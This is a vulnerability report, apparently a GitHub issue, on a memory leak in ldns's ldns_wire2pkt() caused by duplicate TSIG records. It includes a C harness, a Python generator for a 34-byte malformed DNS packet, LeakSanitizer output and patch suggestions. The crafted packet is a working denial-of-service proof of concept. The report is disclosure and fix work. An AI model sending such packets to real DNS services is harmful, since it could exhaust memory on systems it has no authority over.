[Bug]Unbounded memory leak in ldns_wire2pkt(): a second TSIG record overwrites (and orphans) the first without freeing it (LSan heap leak, CWE-401) #317

Hi,

While fuzzing ldns against untrusted DNS wire messages, I found a bug: parsing a DNS message whose ADDITIONAL section contains more than one TSIG record leaks the earlier TSIG RR, which is silently overwritten and never freed. LeakSanitizer reports it deterministically, so a long-running parser that consumes attacker-supplied messages grows without bound.

Summary

ldns_wire2pkt() (wire2host.c:479) handles every TSIG (type 250) record it finds in the ADDITIONAL section by calling ldns_pkt_set_tsig(packet, rr). That setter is a one-line assignment -- pkt->_tsig_rr = rr (packet.c:691-694) -- which neither frees nor takes ownership of the previous _tsig_rr. When a message carries two or more parseable TSIG records, each new one silently replaces the previous one, and the replaced ldns_rr (plus the owner dname allocated by ldns_wire2dname()) loses every reference. ldns_pkt_free() (packet.c:917) frees only the last surviving _tsig_rr, so the overwritten objects can never be reclaimed.

A crafted message with header arcount >= 3 and two consecutive TSIG RRs in ADDITIONAL reproduces the leak with a 34-byte input (73 bytes leaked in 3 allocations).

• Affected versions: ldns 1.9.2 (upstream master, git describe = 1.9.2-27-g7c2e25ef; the same code is present in the latest release)
• Severity: Medium (remote, unbounded memory growth -> OOM denial of service; no memory corruption, no info leak, no code execution)
• CWE: CWE-401 (Missing Release of Memory after Effective Lifetime)

Detail

Affected code

wire2host.c, the ADDITIONAL-section loop inside ldns_wire2pkt() (the set_tsig call is at :478-480):

/* wire2host.c:458 -- loop bound re-reads the current arcount, which the TSIG branch mutates */
for (i = 0; i < ldns_pkt_arcount(packet); i++) {
    status = ldns_wire2rr(&rr, wire, max, &pos, LDNS_SECTION_ADDITIONAL);
    ...
    } else if (ldns_rr_get_type(rr) == LDNS_RR_TYPE_TSIG) {
        ldns_pkt_set_tsig(packet, rr);                              /* :479 -- overwrite, no free */
        ldns_pkt_set_arcount(packet, ldns_pkt_arcount(packet) - 1); /* :480 */
    } else if (!ldns_rr_list_push_rr(ldns_pkt_additional(packet), rr)) {
        ...
    }
}

packet.c, the setter and the freeing path:

/* packet.c:691-694 -- bare assignment; takes no ownership and frees nothing */
void ldns_pkt_set_tsig(ldns_pkt *pkt, ldns_rr *rr)
{
    pkt->_tsig_rr = rr;
}

/* packet.c:917 -- only the last _tsig_rr is released */
void ldns_pkt_free(ldns_pkt *packet)
{
    if (packet) {
        ...
        ldns_rr_free(packet->_tsig_rr);
        ...
    }
}

Root cause: ldns_wire2pkt() treats the ADDITIONAL section TSIG records as a plain "set" operation, but ldns_pkt_set_tsig() is a bare pointer assignment that does not release the old value. Because RFC 8945 permits at most one TSIG per message, this path is only reachable with a malformed/duplicate-TSIG message -- exactly the input an attacker controls. Each extra TSIG orphans one ldns_rr (48 bytes) and its owner dname rdata (a 24-byte struct plus the name bytes).

Note the interaction between :480 and the loop condition at :458, which re-reads ldns_pkt_arcount(packet) on every iteration (it is not a snapshot). In practice a header arcount >= 3 with two consecutive TSIG RRs is enough to trigger the overwrite.

The leak is not harness misuse

The reproducer below only calls the documented public sequence ldns_wire2pkt() followed by ldns_pkt_free(). The orphaned object is unreachable from any pointer the caller (or the library) still holds, so this is a genuine leak inside the library.

Build the reproducer

Build ldns with AddressSanitizer (LeakSanitizer is enabled by default on Linux):

git clone https://github.com/NLnetLabs/ldns.git
cd ldns
autoreconf -fi
CC=clang CFLAGS="-g -O1 -fsanitize=address -fno-omit-frame-pointer" \
    LDFLAGS="-fsanitize=address" \
    ./configure --disable-dane-ta-usage
make -j"$(nproc)" libldns.la
cd ..

Save this driver as repro.c (only public API: ldns_wire2pkt + ldns_pkt_free):

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <ldns/ldns.h>

int main(int argc, char **argv) {
    if (argc < 2) { fprintf(stderr, "usage: %s poc.bin\n", argv[0]); return 2; }
    FILE *f = fopen(argv[1], "rb");
    if (!f) { perror("fopen"); return 2; }
    fseek(f, 0, SEEK_END); long sz = ftell(f); fseek(f, 0, SEEK_SET);
    uint8_t *buf = (uint8_t *)malloc((size_t)sz);
    if (fread(buf, 1, (size_t)sz, f) != (size_t)sz) return 2;
    fclose(f);

    ldns_pkt *pkt = NULL;
    (void) ldns_wire2pkt(&pkt, buf, (size_t)sz);   /* untrusted DNS wire parsing entry point */
    ldns_pkt_free(pkt);                            /* correct, documented teardown */
    free(buf);
    return 0;
}

Compile and generate the PoC:

clang -g -O1 -fsanitize=address -fno-omit-frame-pointer \
      -I ldns repro.c ldns/.libs/libldns.a -lssl -lcrypto -o repro

python3 - <<'PY'
import struct
hdr = struct.pack('!HHHHHH', 0, 0, 0, 0, 0, 3)               # arcount = 3
tsig_rr = b'\x00' + struct.pack('!HHIH', 250, 0x1013, 0, 0)  # owner=root, type=250(TSIG), rdlen=0
open('poc.bin', 'wb').write(hdr + tsig_rr * 2)               # 34 bytes
PY

POC (tested on the unmodified source)

A 34-byte DNS message: a 12-byte header with arcount=3, followed by two identical TSIG RRs (11 bytes each; owner=root, type=0x00FA, class=0x1013, ttl=0, rdlen=0).

00000000: 0000 0000 0000 0000 0000 0003 0000 fa10  ................
00000010: 1300 0000 0000 0000 00fa 1013 0000 0000  ................
00000020: 0000                                     ..

Run:

ASAN_OPTIONS=detect_leaks=1 ./repro poc.bin

Trigger result

Verified on the unmodified ldns source (ASan + LSan):

=================================================================
==2686128==ERROR: LeakSanitizer: detected memory leaks

Direct leak of 48 byte(s) in 1 object(s) allocated from:
    #1 ldns_rr_new /path/ldns/rr.c:33:7
    #2 ldns_wire2rr /path/ldns/wire2host.c:325:16
    #3 ldns_wire2pkt /path/ldns/wire2host.c:459:12

Indirect leak of 24 byte(s) in 1 object(s) allocated from:
    #1 ldns_rdf_new_frm_data /path/ldns/rdata.c:205:8
    #2 ldns_wire2dname /path/ldns/wire2host.c:143:11
    #3 ldns_wire2rr /path/ldns/wire2host.c:328:11
    #4 ldns_wire2pkt /path/ldns/wire2host.c:459:12

Indirect leak of 1 byte(s) in 1 object(s) allocated from:
    #1 ldns_rdf_new_frm_data /path/ldns/rdata.c:209:15
    #2 ldns_wire2dname /path/ldns/wire2host.c:143:11
    #3 ldns_wire2rr /path/ldns/wire2host.c:328:11
    #4 ldns_wire2pkt /path/ldns/wire2host.c:459:12

SUMMARY: AddressSanitizer: 73 byte(s) leaked in 3 allocation(s).

• Exit code: 1 (LeakSanitizer reports a leak and exits non-zero)
• Deterministic: yes -- the 34-byte input reproduces it; the same input under the fuzzing build reported the same 73-byte leak.
• Control: the same message with arcount=2 (still two TSIG RRs, but the loop ends after the first) leaks nothing, pinning the bug to the overwrite path rather than to normal teardown.

The leak scales with the number of TSIG records actually parsed (which depends on arcount and the loop self-decrement); padding the TSIG owner name to a long dname raises the per-message leakage further.

Suggested fix

Release the previous TSIG before overwriting, or reject a second TSIG outright (per RFC 8945, at most one TSIG per message):

/* wire2host.c, in the ADDITIONAL-section loop */
} else if (ldns_rr_get_type(rr) == LDNS_RR_TYPE_TSIG) {
    if (ldns_pkt_tsig(packet)) {
        ldns_rr_free(ldns_pkt_tsig(packet));   /* release the clobbered TSIG */
    }
    ldns_pkt_set_tsig(packet, rr);
    ldns_pkt_set_arcount(packet, ldns_pkt_arcount(packet) - 1);
}

A stricter, spec-aligned alternative is to reject the duplicate:

} else if (ldns_rr_get_type(rr) == LDNS_RR_TYPE_TSIG) {
    if (ldns_pkt_tsig(packet)) {               /* second TSIG -- malformed */
        ldns_rr_free(rr);
        status = LDNS_STATUS_WIRE_INCOMPLETE_ADDITIONAL;
        goto status_error;
    }
    ldns_pkt_set_tsig(packet, rr);
    ldns_pkt_set_arcount(packet, ldns_pkt_arcount(packet) - 1);
}

It would also help to document that ldns_pkt_set_tsig() does not take ownership of rr, so other call sites do not repeat the same mistake, and to add an LSan regression test asserting zero leaks for messages carrying 2/3/4 TSIG records.